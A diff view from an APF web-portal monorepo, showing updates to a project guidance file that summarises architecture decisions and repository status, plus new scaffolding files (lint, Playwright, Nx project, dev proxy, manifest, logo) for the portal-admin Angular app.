- **Audit trail:** dedicated `audit.events` schema in the same Postgres instance, append-only by Postgres role grants (`audit_writer` INSERT, `audit_reader` SELECT, `audit_archiver` DELETE older than retention; no `UPDATE`/`TRUNCATE` to anyone); 365-day retention default; cross-referenced with app logs via `trace_id` and `actor_id_hash` (same salt); blocking writes (no audit ⇒ no action) — see [ADR-0013](docs/decisions/0013-audit-trail-separated-postgres-append-only.md). - **Audit trail:** dedicated `audit.events` schema in the same Postgres instance, append-only by Postgres role grants (`audit_writer` INSERT, `audit_reader` SELECT, `audit_archiver` DELETE older than retention; no `UPDATE`/`TRUNCATE` to anyone); 365-day retention default; cross-referenced with app logs via `trace_id` and `actor_id_hash` (same salt); blocking writes (no audit ⇒ no action) — see [ADR-0013](docs/decisions/0013-audit-trail-separated-postgres-append-only.md).
- **Downstream API access:** unified `DownstreamApiClient` (`@nestjs/axios` + `cockatiel`), per-service `DownstreamApiConfig`; default auth strategy is **OBO via MSAL Node** for Entra-protected APIs (downstream-scoped tokens cached in Redis with AES-256-GCM under a dedicated key); fallback strategy is service credential + signed `X-User-Assertion` JWT (BFF JWKS at `/.well-known/jwks.json`); per-call audience pre-check; no `axios`/`fetch` outside `src/downstream/` — see [ADR-0014](docs/decisions/0014-downstream-api-access-obo-pattern.md). - **Downstream API access:** unified `DownstreamApiClient` (`@nestjs/axios` + `cockatiel`), per-service `DownstreamApiConfig`; default auth strategy is **OBO via MSAL Node** for Entra-protected APIs (downstream-scoped tokens cached in Redis with AES-256-GCM under a dedicated key); fallback strategy is service credential + signed `X-User-Assertion` JWT (BFF JWKS at `/.well-known/jwks.json`); per-call audience pre-check; no `axios`/`fetch` outside `src/downstream/` — see [ADR-0014](docs/decisions/0014-downstream-api-access-obo-pattern.md).
- **CI/CD:** **Gitea Actions** (level-2 implementation; will be superseded by a GitLab migration ADR within 6-18 months). Trunk-based with squash-merge, branch protection on `main`, all CI gates blocking. Thin YAML — orchestration logic lives in `package.json` scripts (`ci:check`, `ci:scan`, `ci:commits`) and Nx targets, runnable locally. Gates: format / lint / type-check / test / build / audit / secret-scan / commit-lint, plus `a11y` (per ADR-0016) and future `perf`. Self-hosted `act_runner` on-prem. Conventional Commits validated locally (hook) and in CI (defense in depth). Required reviewer count = 0 in v1, raised to ≥1 once a second contributor joins. Signed commits recommended, revisited at GitLab migration — see [ADR-0015](docs/decisions/0015-cicd-gitea-actions.md). - **CI/CD:** **Gitea Actions today, migrating to GitLab CE on `vm-gitlab` per [ADR-0028](docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md)** (decision-only ADR accepted; 4-phase rollout in follow-up PRs — the architectural principles below carry over unchanged from [ADR-0015](docs/decisions/0015-cicd-gitea-actions.md), only the host / pipeline file / runner type / scan tooling change). Trunk-based with squash-merge, branch protection on `main`, all CI gates blocking. Thin YAML — orchestration logic lives in `package.json` scripts (`ci:check`, `ci:catalogue-drift`, `ci:audit`, `ci:commits`, `ci:perf`, `ci:gzip-budgets`) and Nx targets, runnable locally. Gates: format / lint / type-check / test / build / audit / secret-scan / commit-lint, plus `a11y` (per ADR-0016) and `perf` (per ADR-0017). Self-hosted runners on-prem (`act_runner` today, GitLab Runner with Docker executor post-migration). Conventional Commits validated locally (hook) and in CI (defense in depth). Required reviewer count = 0 in v1, raised to ≥1 once a second contributor joins. Signed commits required on `main` once the migration cutover lands (ADR-0028's revisit of ADR-0015's "recommended" stance).
- **Accessibility:** **WCAG 2.2 AA baseline + targeted AAA** on criteria with high impact for APF's user base (1.4.6 Contrast Enhanced, 2.2.3 No Timing, 2.3.3 Animation, 3.1.5 Reading Level, 1.4.8 Visual Presentation, 2.4.9 Link Purpose, 3.3.5 Help). RGAA 4.1 alignment for French audit. UI stack: **Angular CDK + TailwindCSS** (spartan-ng _library_ deferred until it reaches 1.0.0; v1 components are written in-house in `libs/shared/ui/` on Angular CDK, applying the spartan-ng _philosophy_ of headless primitives + utility CSS + copy-paste). User-preferences panel (contrast / text size / motion / spacing / cognitive simplification / reading focus) persisted in session. Tooling: `@angular-eslint/template/*` lint, `@axe-core/playwright` e2e (blocking on critical/serious), token-contrast CI check, touch-target check (44×44 min). Manual testing cadence with APF's internal user panel before each major release. Public accessibility statement page at `/accessibility` and `/accessibilite` — see [ADR-0016](docs/decisions/0016-accessibility-baseline-wcag-aa-targeted-aaa.md). - **Accessibility:** **WCAG 2.2 AA baseline + targeted AAA** on criteria with high impact for APF's user base (1.4.6 Contrast Enhanced, 2.2.3 No Timing, 2.3.3 Animation, 3.1.5 Reading Level, 1.4.8 Visual Presentation, 2.4.9 Link Purpose, 3.3.5 Help). RGAA 4.1 alignment for French audit. UI stack: **Angular CDK + TailwindCSS** (spartan-ng _library_ deferred until it reaches 1.0.0; v1 components are written in-house in `libs/shared/ui/` on Angular CDK, applying the spartan-ng _philosophy_ of headless primitives + utility CSS + copy-paste). User-preferences panel (contrast / text size / motion / spacing / cognitive simplification / reading focus) persisted in session. Tooling: `@angular-eslint/template/*` lint, `@axe-core/playwright` e2e (blocking on critical/serious), token-contrast CI check, touch-target check (44×44 min). Manual testing cadence with APF's internal user panel before each major release. Public accessibility statement page at `/accessibility` and `/accessibilite` — see [ADR-0016](docs/decisions/0016-accessibility-baseline-wcag-aa-targeted-aaa.md).
- **Performance budgets:** Core Web Vitals at Google "Good" thresholds (LCP ≤ 2.5 s, INP ≤ 200 ms, CLS ≤ 0.1, TBT ≤ 200 ms, TTFB ≤ 800 ms), Lighthouse Performance ≥ 90 on critical routes. **Lighthouse CI** (`@lhci/cli`) runs in CI with median-of-3 mitigation, blocking on threshold breach. Angular bundle `budgets` (`type: "error"`): initial ≤ 300 KB gzip, lazy chunks ≤ 100 KB gzip. BFF p95/p99 SLOs per endpoint family observed via OTel (advisory in CI, alerting in prod). Weekly scheduled Lighthouse run on prod env. **a11y wins over perf** when they conflict — see [ADR-0017](docs/decisions/0017-performance-budgets-lighthouse-ci.md). - **Performance budgets:** Core Web Vitals at Google "Good" thresholds (LCP ≤ 2.5 s, INP ≤ 200 ms, CLS ≤ 0.1, TBT ≤ 200 ms, TTFB ≤ 800 ms), Lighthouse Performance ≥ 90 on critical routes. **Lighthouse CI** (`@lhci/cli`) runs in CI with median-of-3 mitigation, blocking on threshold breach. Angular bundle `budgets` (`type: "error"`): initial ≤ 300 KB gzip, lazy chunks ≤ 100 KB gzip. BFF p95/p99 SLOs per endpoint family observed via OTel (advisory in CI, alerting in prod). Weekly scheduled Lighthouse run on prod env. **a11y wins over perf** when they conflict — see [ADR-0017](docs/decisions/0017-performance-budgets-lighthouse-ci.md).
- **Environment configuration:** SPA per-environment values via Angular `environment.ts` + `fileReplacements` at build time (no runtime config-fetch). BFF reads `process.env` directly with small per-key boot-time validators (no `@nestjs/config` overhead at this scale). The audit log uses a separate `AUDIT_DATABASE_URL` connection pool in production (`audit_writer`-only login, defense in depth) and falls back to the shared pool + `SET LOCAL ROLE` in dev — see [ADR-0018](docs/decisions/0018-environment-configuration-strategy.md).
- **Internationalisation:** `@angular/localize` in build-time mode, two locales (`fr` default served at `/`, `en`), source locale = English (project English-only rule). Path-based URLs always prefixed (`/fr/...`, `/en/...`); `/` smart-redirects via cookie → `Accept-Language``fr`. UI strings live in XLIFF (`messages.fr.xlf`); editorial / CMS content is BFF-served already localised (see admin app). Footer hosts the locale switcher; switching writes a `__Host-portal_locale` cookie and hard-refreshes — see [ADR-0019](docs/decisions/0019-internationalisation-angular-localize.md).
- **Admin application (`portal-admin`):** dedicated Angular SPA alongside `portal-shell`, sharing the same `portal-bff` via `/api/admin/*` routes guarded by an Entra `Portal.Admin` role + `@RequireMfa({ freshness: 600 })` at entry. Distinct origin / cookie / session from `portal-shell` (`__Host-portal_admin_session`). v1 modules: CMS for static pages (multilingual), menu management, user list (read-only), audit log viewer. Bundle budget relaxed to ≤ 500 KB gzip (vs 300 KB for `portal-shell`); same a11y + dark-mode baseline. Shared UI primitives (`Icon`, `LayoutStateService`, brand tokens) graduate to `libs/shared/*` as both apps need them — see [ADR-0020](docs/decisions/0020-portal-admin-app.md).
- **Local quality gates:** Husky + lint-staged + commitlint with Conventional Commits — see [ADR-0007](docs/decisions/0007-pre-commit-hooks-and-conventional-commits.md). - **Local quality gates:** Husky + lint-staged + commitlint with Conventional Commits — see [ADR-0007](docs/decisions/0007-pre-commit-hooks-and-conventional-commits.md).
- **Documentation site:** `docs/**/*.md` rendered as a separate static site via **VitePress** (Vite-based, Node-only toolchain, Markdown-first). Mermaid diagrams via `vitepress-plugin-mermaid`. Deployed on its own hostname behind the shared reverse-proxy; CI hook on `docs/` changes rebuilds + publishes. Decoupled from the apps — content lives in `docs/`, no in-app Markdown viewer — see [ADR-0022](docs/decisions/0022-docs-site-vitepress.md).
- **Charts + dashboards:** `D3 + Observable Plot` wrapped in `libs/shared/charts/`, one Angular component per chart type (bar, donut, line, stacked-bar, …). A11y baked in by the lib (SVG `<title>`/`<desc>`, `<details>` tabular fallback, colour-blind-safe palettes, AA-contrast text, `prefers-reduced-motion` gate). Bundle stays under [ADR-0017](docs/decisions/0017-performance-budgets-lighthouse-ci.md)'s lazy-chunk cap via per-`d3-*` module tree-shaking. Future bespoke visualisations land in raw D3 inside the same lib — see [ADR-0023](docs/decisions/0023-charts-d3-observable-plot.md).
- **AI service relay:** dedicated `apf-ai-service` repo (ASP.NET Core, Microsoft Agent Framework) consumed via native gRPC HTTP/2 only — proto contract vendored under `apps/portal-bff/src/grpc/proto/apf-ai/` with `ts-proto` codegen committed alongside. BFF dials with `@grpc/grpc-js` (h2c in dev, h2 + TLS in prod), bridges `ChatService.Chat` to `text/event-stream` for the SPA, exposes `RagService.Search` and `ModelsService.ListModels` as plain JSON endpoints. Identity travels as an unsigned `Principal` (subject, roles, attributes) in the proto body for the POC, hashed via the audit module's `HashUserIdService` so portal and AI service audit trails join on the same `actor_id_hash`. Production hardening (signed envelope vs mTLS) deferred — see [ADR-0024](docs/decisions/0024-ai-service-relay-grpc-sse-bridge.md).
- **Authorization model:** three orthogonal axes — **privileges** (Entra app roles, `Portal.*`), **functional roles** (Entra security groups → curated `apf-role-*` slug catalogue, 24 entries v1), **scopes** (portal-side `user_scopes` table, future Pléiades feed; kinds = `self / etablissement:<structure-code> / delegation:<dept> / region:<insee> / siege / unrestricted`, see [ADR-0027](docs/decisions/0027-portal-side-organisational-hierarchy.md) for the `Structure.code` semantics). Composed at sign-in into a session-resident `Principal`; portal guards consume the structured shape, a deterministic `PrincipalProjector` flattens it to the AI-service `roles[]` contract. Replaces stargate's linear hierarchy. Catalogues are closed-set, drift gated by CI — see [ADR-0025](docs/decisions/0025-authorization-model-privileges-roles-scopes.md).
- **Portal-side identity model:** `Person` golden record (stable identity, can exist without a portal account — workforce pre-provisioning, dossier bénéficiaires, alumni) + `User` overlay (one-to-zero-or-one with Person, lazy-created on first OIDC callback in v1; carries portal-only state like `lastSignInAt`). `UserScope` backs the ADR-0025 scope axis with opaque `value` strings referencing ADR-0027's `Structure.code` / `Delegation.code` / `Region.code` — no FK at the DB level so historical rows survive structure decommissioning; admin-UI write path validates. v1 dedup uses `entraOid` only; `Person.email` is an indexed attribute, not a unique key, because two distinct humans genuinely share emails (shared aliases, generic `info@`, upstream-feed errors). Facets (Salarié / Élu / Adhérent / Bénéficiaire) + Pléiades / Acteurs+ sync + operator-confirmed Person-merge flow deferred to ADR-0029 — see [ADR-0026](docs/decisions/0026-person-user-portal-data-model.md).
- **Portal-side organisational hierarchy:** `Region` (INSEE 2-digit) → `Delegation` (department 23-char) → `Structure` with `kind` discriminator (`medico_social` / `antenne` / `dispositif` / `entreprise_adaptee` / `mouvement` / `administratif` / `siege`, aligned with cascade's `Structure.type`). `Structure.code` is the portal-internal string PK, externally meaningful: for medico-social rows it equals the FINESS (9 digits) and round-trips cleanly through scope literals (`etablissement:0330800013`) and URLs; for non-FINESS rows it is an APF-internal slug (`siege`, `apf-bdx-merignac`, `ea-toulouse`, …). `finess` / `siret` / `codePaie` are nullable, unique-when-present attributes — populated where the upstream registry has the structure on file. v1 ships a small inline-migration seed (test-tenant scope: Région Nouvelle-Aquitaine, Délégation 33, a handful of médico-social + siège); the full cascade-driven inventory sync, plus `Pole` / `Service` / arbitrary nesting / per-source enrichment, land additively with ADR-0029 — see [ADR-0027](docs/decisions/0027-portal-side-organisational-hierarchy.md).
- **Runtime:** Node.js latest LTS major. - **Runtime:** Node.js latest LTS major.
- **Local dev environment:** three coexisting run modes — native `pnpm nx serve`, the VSCode devcontainer, and a Docker Compose `apps` profile that boots all three Nx dev servers without a native Node/pnpm toolchain (`./infra/local/dev.sh up apps`). Dev-only (production images deferred to the ADR-0028 Container Registry work); shared `Dockerfile.dev`, repo bind-mounted for hot reload, `node_modules`/Nx cache in named volumes, BFF entrypoint runs `prisma generate` + `migrate deploy` — see [ADR-0030](docs/decisions/0030-dockerised-dev-mode.md).
## Repository status ## Repository status
The Nx workspace is **not yet bootstrapped** — there is no `package.json`, no source code, no tests. ADRs 0001 → 0017 cover the structural, security, observability, and quality choices for phase-1, phase-2, and phase-3a. The security baseline ADR is **paused** awaiting RSSI input on the OWASP ASVS reference level and adjacent frameworks (HDS, GDPR, possibly PCI DSS / NIS 2). The next step is to scaffold the workspace per [docs/setup/03-angular-nx-monorepo.md](docs/setup/03-angular-nx-monorepo.md), which has already been rewritten to align with the phase-1 ADRs. The Nx workspace is **scaffolded and operational**. The three apps (`portal-shell`, `portal-admin`, `portal-bff`) and the seven lib roots (`libs/feature/auth`, `libs/shared/auth`, `libs/shared/charts`, `libs/shared/state`, `libs/shared/tokens`, `libs/shared/ui`, `libs/shared/util`) are in place; CI runs `format:check / lint / test / build` plus the ADR-0025 catalogue-drift gate on every PR.
If asked to "build", "test", or "run" anything, first verify whether the workspace exists; if not, the right response is to scaffold it, not to invent commands. ADRs 0001 → 0028 plus ADR-0030 are accepted and cover the structural, security, observability, quality, i18n, admin-app, docs-site, charts, AI-relay, authorization, portal-side identity + organisational hierarchy, CI/CD platform migration, and dockerised local-dev mode choices. ADR-0028 supersedes only ADR-0015's "Gitea Actions" platform choice — the rest of ADR-0015's architectural principles carry over unchanged; the 4-phase migration (mirror → parallel pipelines → cutover → cleanup) ships in follow-up PRs. ADR-0029 (cascade / Pléiades / Acteurs+ syncs + facet schemas) is the next proposed addition — its number is reserved ahead of ADR-0030, which was written first. Until ADR-0026 + ADR-0027 implementation PRs ship, ADR-0025's stubs (`Principal.user.{id, personId}` placeholders, `StubScopeResolver`'s `unrestricted` blanket return) remain in place. **Shipped on `main`:**
- **Phase-1 foundation** — Nx workspace, Angular `portal-shell`, NestJS `portal-bff`, Prisma + Postgres, Pino + OpenTelemetry, Husky/lint-staged/commitlint, Gitea Actions CI.
- **Phase-2 auth + audit + security** — OIDC Auth Code + PKCE via MSAL Node, Redis sessions with AES-256-GCM at rest, idle 30 min sliding + absolute 12 h hard ceiling, RP-initiated logout, double-submit CSRF, `audit.events` append-only schema with role-based grants, helmet + env-driven CORS allowlist + rate limiting + structured error envelope (see [ADR-0021](docs/decisions/0021-phase-2-security-baseline.md)).
- **Phase-3a admin app** — `portal-admin` SPA with brand tokens, routing, user-list reader (`/admin/users`), and audit-log viewer with statistics and integrated charts (`/admin/audit`). CMS for static pages and menu management not yet implemented.
- **AI relay surface + live consumer** — vendored protos + `AiClientModule` (gRPC clients, Principal mapper, metadata builder) + `AiBridgeController` exposing `POST /api/ai/chat` (SSE), `GET /api/ai/rag/search`, `GET /api/ai/models` (see [ADR-0024](docs/decisions/0024-ai-service-relay-grpc-sse-bridge.md)). Chatbot widget live in `portal-shell` at `apps/portal-shell/src/app/features/chatbot/`.
- **Docs static site** ([ADR-0022](docs/decisions/0022-docs-site-vitepress.md)) — VitePress + Mermaid renderer at `docs/.vitepress/`, dedicated `docs-site.yml` workflow that rebuilds + publishes on every `docs/**` change.
- **Charts lib + audit-page dashboards** ([ADR-0023](docs/decisions/0023-charts-d3-observable-plot.md)) — `libs/shared/charts/` with `BarChart`, `DonutChart`, `StackedBarChart` (D3 + Observable Plot, headless / a11y-baked-in), integrated into the `/admin/audit` page for daily-volume + outcome-breakdown + event-type-over-time views.
- **Authorization model + guards** ([ADR-0025](docs/decisions/0025-authorization-model-privileges-roles-scopes.md)) — `libs/shared/auth/` exporting the closed catalogues (4 privileges, 24 functional roles, 6 scope kinds), `Principal` shape, pure matchers, and `EntraGroupToRoleResolver`. BFF-side `PrincipalBuilder` composing the three axes at sign-in from Entra `roles` + `groups` claims + a stub `ScopeResolver`. `@RequirePrivilege` / `@RequireRole` / `@RequireScope` route decorators + guards with the ADR-0021 structured-error envelope on denial; `AdminRoleGuard` migrated to read `principal.privileges`. CI drift gate (`scripts/check-catalogue-drift.mjs`) asserting every decorator literal is in the catalogue.
**Still on the roadmap:**
- `DownstreamApiClient` + OBO ([ADR-0014](docs/decisions/0014-downstream-api-access-obo-pattern.md)) — module scaffolded (`obo.strategy`, `signed-assertion.strategy`, JWKS publisher, encrypted token cache); no v1 consumer yet. Wires in when the first business route needs an Entra-protected API.
- `@RequireMfa()` step-up consumer routes ([ADR-0011](docs/decisions/0011-mfa-enforcement-entra-conditional-access.md)) — guard + decorator shipped; awaiting first sensitive route that needs explicit freshness enforcement beyond the Conditional Access baseline.
- **`@RequireScope` Prisma-backed resolver + first consumer surface** — `StubScopeResolver` returns `unrestricted` for everyone in v1 per [ADR-0025](docs/decisions/0025-authorization-model-privileges-roles-scopes.md) §331. Implementation lands across [ADR-0026](docs/decisions/0026-person-user-portal-data-model.md) (accepted: `Person` + `User` + `UserScope`) and [ADR-0027](docs/decisions/0027-portal-side-organisational-hierarchy.md) (accepted: `Region` / `Delegation` / `Structure` with `kind` discriminator + nullable FINESS / SIRET). Sequencing: ADR-0026 PR 1 + ADR-0027 PR 1 ship schema in parallel; ADR-0026 PR 2 then lands the `PrismaScopeResolver` + admin scope-seeding UI + test-tenant seed (which references ADR-0027's `Structure.code` values). The follow-up [ADR-0029](#) covers Pléiades / Acteurs+ / cascade syncs + facet schemas.
- **Proto-drift CI gate for the AI relay** ([ADR-0024](docs/decisions/0024-ai-service-relay-grpc-sse-bridge.md)) — asserts the vendored `apf-ai-service` proto files stay in lockstep with the upstream contract.
- **Admin app — CMS & menu management** ([ADR-0020](docs/decisions/0020-portal-admin-app.md)) — multilingual static-page editor + navigation menu builder. The user-list + audit-log-viewer modules already exist; the CMS/menu pair is the remaining v1 module scope.
- **Strategic security baseline ADR** — separate from the implementation-level [ADR-0021](docs/decisions/0021-phase-2-security-baseline.md). Remains **paused** awaiting RSSI input on the OWASP ASVS reference level and adjacent frameworks (HDS, GDPR, possibly NIS 2). When it lands it will either confirm 0021 or supersede pieces of it.
## Commands once the workspace exists ## Commands once the workspace exists
App-scoped — `<app>` is one of `portal-shell`, `portal-bff`: App-scoped — `<app>` is one of `portal-shell`, `portal-admin`, `portal-bff`:
```bash ```bash
pnpm nx serve <app> # dev server pnpm nx serve <app> # dev server
@@ -82,8 +109,10 @@ pnpm nx format:check
## Environment conventions ## Environment conventions
- **Two development environments.** `local` (Windows-WSL or native macOS / Linux on the workstation) and `development` (Debian 13 VM at `10.100.201.21` — the default for new devs, replaces WSL). A `hybrid` sub-mode runs the IDE + Nx servers on the workstation while reaching the infra services (postgres / redis / otel) on the dev VM through SSH tunnels. Full procedure: [docs/setup/01-dev-debian-vm-setup.md](docs/setup/01-dev-debian-vm-setup.md). The legacy WSL flow remains documented in [docs/setup/02-wsl-terminal-setup.md](docs/setup/02-wsl-terminal-setup.md).
- **Two IDE flows on the dev VM** — VSCode Remote-SSH (default; transparent equivalent of the WSL flow) and Devcontainer (`.devcontainer/devcontainer.json` shipped, Node + pnpm pinned in the image, mounts the docker socket so the host's `apf-portal-dev` Compose network is reachable from inside). Independently of the IDE flow, the apps can run **natively** (`pnpm nx serve`) or as **Docker Compose services** (`./infra/local/dev.sh up apps`, no native toolchain — ADR-0030); the "which mode when" table is in [docs/setup/01-dev-debian-vm-setup.md](docs/setup/01-dev-debian-vm-setup.md).
- **Never install Angular globally.** Use `pnpm dlx` for one-off CLI invocations and project-local `pnpm nx ...` for everything else — versions stay pinned per project. - **Never install Angular globally.** Use `pnpm dlx` for one-off CLI invocations and project-local `pnpm nx ...` for everything else — versions stay pinned per project.
- **Work inside the WSL filesystem** (`~/dev/...`), never under `/mnt/c` — the latter has severe I/O penalties that break Nx caching and dev-server reload times. - **On WSL: work inside the WSL filesystem** (`~/Works/...`), never under `/mnt/c` — the latter has severe I/O penalties that break Nx caching and dev-server reload times. On the dev VM the analogous rule is "stay on the VM disk, do not work over SSHFS / network mounts".
- **pnpm is mandatory** (activated via `corepack enable`); do not introduce npm or yarn lockfiles. - **pnpm is mandatory** (activated via `corepack enable`); do not introduce npm or yarn lockfiles.
- Prettier config target: `singleQuote: true`, `semi: true`, `printWidth: 100`. - Prettier config target: `singleQuote: true`, `semi: true`, `printWidth: 100`.
+12
View File
@@ -0,0 +1,12 @@
import playwright from 'eslint-plugin-playwright';
import baseConfig from '../../eslint.config.mjs';
export default [
playwright.configs['flat/recommended'],
...baseConfig,
{
files: ['**/*.ts', '**/*.js'],
// Override or add rules here
rules: {},
},
];
@@ -0,0 +1,68 @@
import { defineConfig, devices } from '@playwright/test';
import { nxE2EPreset } from '@nx/playwright/preset';
import { workspaceRoot } from '@nx/devkit';
// For CI, you may want to set BASE_URL to the deployed application.
const baseURL = process.env['BASE_URL'] || 'http://localhost:4200';
/**
* Read environment variables from file.
* https://github.com/motdotla/dotenv
*/
// require('dotenv').config();
/**
* See https://playwright.dev/docs/test-configuration.
*/
export default defineConfig({
...nxE2EPreset(__filename, { testDir: './src' }),
/* Shared settings for all the projects below. See https://playwright.dev/docs/api/class-testoptions. */
use: {
baseURL,
/* Collect trace when retrying the failed test. See https://playwright.dev/docs/trace-viewer */
trace: 'on-first-retry',
},
/* Run your local dev server before starting the tests */
webServer: {
command: 'pnpm exec nx run portal-admin:serve',
url: 'http://localhost:4200',
reuseExistingServer: true,
cwd: workspaceRoot,
},
projects: [
{
name: 'chromium',
use: { ...devices['Desktop Chrome'] },
},
{
name: 'firefox',
use: { ...devices['Desktop Firefox'] },
},
{
name: 'webkit',
use: { ...devices['Desktop Safari'] },
},
// Uncomment for mobile browsers support
/* {
name: 'Mobile Chrome',
use: { ...devices['Pixel 5'] },
},
{
name: 'Mobile Safari',
use: { ...devices['iPhone 12'] },
}, */
// Uncomment for branded browsers
/* {
name: 'Microsoft Edge',
use: { ...devices['Desktop Edge'], channel: 'msedge' },
},
{
name: 'Google Chrome',
use: { ...devices['Desktop Chrome'], channel: 'chrome' },
} */
],
});
+9
View File
@@ -0,0 +1,9 @@
{
"name": "portal-admin-e2e",
"$schema": "../../node_modules/nx/schemas/project-schema.json",
"projectType": "application",
"sourceRoot": "apps/portal-admin-e2e/src",
"implicitDependencies": ["portal-admin"],
"// targets": "to see all targets run: nx show project portal-admin-e2e --web",
"targets": {}
}
@@ -0,0 +1,8 @@
import { test, expect } from '@playwright/test';
test('has title', async ({ page }) => {
await page.goto('/');
// Expect h1 to contain a substring.
expect(await page.locator('h1').innerText()).toContain('Welcome');
});
+24
View File
@@ -0,0 +1,24 @@
{
"extends": "../../tsconfig.base.json",
"compilerOptions": {
"allowJs": true,
"outDir": "../../dist/out-tsc",
"sourceMap": false,
"module": "commonjs",
"strict": true,
"noImplicitOverride": true,
"noPropertyAccessFromIndexSignature": true,
"noImplicitReturns": true,
"noFallthroughCasesInSwitch": true
},
"include": [
"**/*.ts",
"**/*.js",
"playwright.config.ts",
"src/**/*.spec.ts",
"src/**/*.spec.js",
"src/**/*.test.ts",
"src/**/*.test.js",
"src/**/*.d.ts"
]
}
+5
View File
@@ -0,0 +1,5 @@
{
"plugins": {
"@tailwindcss/postcss": {}
}
}
+34
View File
@@ -0,0 +1,34 @@
import nx from '@nx/eslint-plugin';
import baseConfig from '../../eslint.config.mjs';
export default [
...nx.configs['flat/angular'],
...nx.configs['flat/angular-template'],
...baseConfig,
{
files: ['**/*.ts'],
rules: {
'@angular-eslint/directive-selector': [
'error',
{
type: 'attribute',
prefix: 'app',
style: 'camelCase',
},
],
'@angular-eslint/component-selector': [
'error',
{
type: 'element',
prefix: 'app',
style: 'kebab-case',
},
],
},
},
{
files: ['**/*.html'],
// Override or add rules here
rules: {},
},
];
+130
View File
@@ -0,0 +1,130 @@
{
"name": "portal-admin",
"$schema": "../../node_modules/nx/schemas/project-schema.json",
"projectType": "application",
"prefix": "app",
"sourceRoot": "apps/portal-admin/src",
"tags": ["scope:portal-admin", "type:app"],
"i18n": {
"sourceLocale": {
"code": "en",
"baseHref": "/en/"
},
"locales": {
"fr": {
"translation": "apps/portal-admin/src/locale/messages.fr.xlf",
"baseHref": "/fr/"
}
}
},
"targets": {
"build": {
"executor": "@angular/build:application",
"outputs": ["{options.outputPath}"],
"options": {
"outputPath": "dist/apps/portal-admin",
"browser": "apps/portal-admin/src/main.ts",
"polyfills": ["@angular/localize/init"],
"tsConfig": "apps/portal-admin/tsconfig.app.json",
"inlineStyleLanguage": "scss",
"assets": [
{
"glob": "**/*",
"input": "apps/portal-admin/public"
}
],
"styles": ["apps/portal-admin/src/styles.css"]
},
"configurations": {
"production": {
"localize": ["en", "fr"],
"i18nMissingTranslation": "error",
"budgets": [
{
"type": "initial",
"maximumWarning": "1.5mb",
"maximumError": "1.5mb"
},
{
"type": "anyScript",
"maximumWarning": "500kb",
"maximumError": "500kb"
},
{
"type": "anyComponentStyle",
"maximumWarning": "6kb",
"maximumError": "8kb"
},
{
"type": "bundle",
"name": "styles",
"maximumWarning": "150kb",
"maximumError": "150kb"
}
],
"outputHashing": "all"
},
"development": {
"optimization": false,
"extractLicenses": false,
"sourceMap": true
}
},
"defaultConfiguration": "production"
},
"extract-i18n": {
"executor": "@angular/build:extract-i18n",
"options": {
"buildTarget": "portal-admin:build",
"outputPath": "apps/portal-admin/src/locale",
"outFile": "messages.xlf"
}
},
"serve": {
"continuous": true,
"executor": "@angular/build:dev-server",
"options": {
"port": 4300,
"proxyConfig": "apps/portal-admin/proxy.conf.js"
},
"configurations": {
"production": {
"buildTarget": "portal-admin:build:production"
},
"development": {
"buildTarget": "portal-admin:build:development"
},
"https": {
"buildTarget": "portal-admin:build:development",
"ssl": true,
"sslKey": ".secrets/dev-tls.key",
"sslCert": ".secrets/dev-tls.pem"
}
},
"defaultConfiguration": "development"
},
"lint": {
"executor": "@nx/eslint:lint"
},
"test": {
"executor": "@angular/build:unit-test",
"options": {
"watch": false
},
"configurations": {
"watch": {
"watch": true
}
}
},
"serve-static": {
"continuous": true,
"executor": "@nx/web:file-server",
"options": {
"buildTarget": "portal-admin:build",
"port": 4300,
"staticFilePath": "dist/apps/portal-admin/browser"
}
}
}
}
+21
View File
@@ -0,0 +1,21 @@
// Angular dev-server proxy for portal-admin.
//
// Mirrors apps/portal-shell/proxy.conf.js — same rationale, same
// `/api → ${BFF_TARGET:-http://localhost:3000}` rule. The admin app
// talks to the same BFF (ADR-0020 §"Where does the admin app live"),
// just at admin-specific paths under `/api/admin/...`; the proxy
// match on `/api` covers both surfaces.
//
// JS form deliberate — only this form can read `process.env` so the
// Docker / native target swap (BFF_TARGET in dev.compose.yml) works
// without a rebuild.
const target = process.env['BFF_TARGET'] ?? 'http://localhost:3000';
module.exports = {
'/api': {
target,
secure: false,
changeOrigin: true,
},
};
Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 92 KiB

@@ -0,0 +1,21 @@
{
"name": "APF Portal Admin",
"short_name": "Admin",
"icons": [
{
"src": "/favicons/web-app-manifest-192x192.png?v=20260511",
"sizes": "192x192",
"type": "image/png",
"purpose": "maskable"
},
{
"src": "/favicons/web-app-manifest-512x512.png?v=20260511",
"sizes": "512x512",
"type": "image/png",
"purpose": "maskable"
}
],
"theme_color": "#ffffff",
"background_color": "#ffffff",
"display": "standalone"
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

@@ -0,0 +1 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?><!-- Generator: Gravitdesign.com --><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="isolation:isolate" viewBox="0 0 1024 1024" width="1024pt" height="1024pt"><defs><clipPath id="_clipPath_B4TZ570FigxU4c50hle9QrZwbv6YvFBZ"><rect width="1024" height="1024"/></clipPath></defs><g clip-path="url(#_clipPath_B4TZ570FigxU4c50hle9QrZwbv6YvFBZ)"><path d=" M 302.7 566.118 C 355.817 515.422 427.036 483.173 501.691 480.62 C 626.026 477.14 721.654 557.185 738.018 669.829 C 734.571 656.604 628.618 409.16 302.701 566.118 L 302.7 566.118 Z " fill="rgb(255, 255, 255)"/><g><path d=" M 732.849 505.91 C 675.421 450.11 499.114 228.071 514.048 161.831 C 530.416 89.558 636.371 30.51 735.43 0 C 719.64 2.552 706.724 5.104 694.661 8.585 C 586.122 37.355 472.984 99.302 454.893 175.868 C 439.96 241.297 498.247 315.31 562.572 378.65 C 584.25 400.069 569.598 402.126 540.415 406.219 C 515.859 409.664 481.014 414.554 448.867 433.637 C 527.084 402.036 655.737 470.669 711.434 500.382 C 735.478 513.208 745.922 518.782 732.849 505.91 L 732.849 505.91 Z " fill="rgb(255, 255, 255)"/><path d=" M 711.885 266.354 C 737.15 226.331 785.688 206.494 821.289 222.039 C 856.897 237.816 865.799 283.06 841.394 323.894 C 816.989 363.917 768.451 384.102 